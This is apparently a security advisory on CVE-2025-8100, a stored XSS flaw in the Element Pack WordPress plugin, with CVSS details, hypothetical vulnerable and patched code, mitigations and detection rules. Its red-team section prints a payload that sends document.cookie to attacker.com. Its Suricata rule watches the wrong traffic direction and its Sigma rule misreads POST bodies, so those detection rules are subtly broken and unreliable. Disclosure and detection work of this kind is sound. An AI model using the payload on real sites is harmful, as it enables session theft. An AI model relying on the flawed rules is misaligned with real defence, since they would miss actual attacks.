CVE-2025-8100

Executive Summary

CVE-2025-8100 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Element Pack Elementor Addons and Templates plugin for WordPress, developed by Bdthemes. This plugin is widely used to extend the functionality of the Elementor page builder, allowing users to create complex layouts and templates. The vulnerability exists in versions up to and including 8.1.5, due to insufficient sanitization of the marker_content parameter. An authenticated attacker with at least contributor-level access can inject arbitrary web scripts that execute when any user visits the compromised page. The CVSS score is 5.4 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch is currently available.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The issue lies within the plugin's code, not the underlying web server (Apache or Nginx). The plugin is installed as a WordPress plugin and runs within the WordPress environment.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required – A user must visit the compromised page.
• Scope (S): Changed – The vulnerability can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS means that once injected, the payload persists and can affect multiple users.

Deep Dive & Mechanics

The vulnerability resides in the marker_content parameter, likely used in a map or marker-based widget within the Element Pack plugin. The plugin fails to properly sanitize user input and escape output when rendering this parameter. An attacker with contributor-level access (or higher) can craft a post or page containing a malicious payload in the marker_content field. When the page is rendered, the payload executes in the context of the victim's browser.

Root Cause: Insufficient input sanitization and output escaping. The plugin likely uses echo or similar functions without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post().

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a post/page using the Element Pack plugin's marker widget.
3. Attacker inserts a malicious JavaScript payload into the marker_content parameter.
4. The payload is stored in the WordPress database.
5. When any user (including administrators) visits the page, the payload executes.
6. The attacker can steal cookies, redirect users, or perform other malicious actions.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (Hypothetical):

// Vulnerable: No sanitization or escaping
$marker_content = $_POST['marker_content'];
echo '<div class="marker">' . $marker_content . '</div>';

Patched Code (Hypothetical):

// Patched: Use WordPress escaping functions
$marker_content = sanitize_text_field( $_POST['marker_content'] );
echo '<div class="marker">' . esc_html( $marker_content ) . '</div>';

The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to ensure output is safe for HTML context.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress instance with Element Pack plugin <= 8.1.5.
• Contributor-level account or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new post or page.
3. Add the Element Pack marker widget to the page.
4. In the marker_content field, inject the following payload:

   <script>alert('XSS')</script>
   

   Or a more sophisticated payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

5. Publish the page.
6. Wait for an administrator or other user to visit the page.
7. The payload executes, exfiltrating data to the attacker's server.

Note: No public exploit code is available at this time.

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual post/page creation or editing by contributor-level users.
2. Look for posts containing <script> tags or event handlers in the marker_content field.
3. Use the Sigma and YARA rules provided in the Detection Engineering section.
4. Review WordPress logs for suspicious activity.

Mitigation:

• Disable the Element Pack plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/element-pack/ (entire plugin directory)
• Database: Posts/pages containing <script> tags or onerror/onload event handlers in marker_content meta.
• Network: Outbound connections to attacker-controlled domains from WordPress admin pages.
• Logs: WordPress audit logs showing creation/editing of posts by contributor users with unusual content.

Detection Engineering

YARA Rule

rule CVE_2025_8100_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Element Pack marker_content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8100"
    strings:
        $marker_content = /marker_content[^>]*>[^<]*<script/i
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on(error|load|click|mouseover)\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Element Pack marker_content
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress Element Pack plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8100
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'marker_content'
        cs-uri-query|contains|windash: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in marker content (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8100 Stored XSS in Element Pack marker_content"; flow:to_server,established; content:"POST"; http_method; content:"marker_content"; http_client_body; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict contributor-level access to only trusted users.
3. Implement a WAF rule to block requests containing <script> in marker_content.
4. Monitor logs for suspicious activity.

Long-Term Fix:

• Apply the official patch from Bdthemes when released.
• Update to the latest version of the plugin (if patched).
• Conduct a security audit of all WordPress plugins.

Workaround:

• Use a content security policy (CSP) header to block inline scripts:

  Header set Content-Security-Policy "script-src 'self';"
  

Valters IT
Securing Digital Frontiers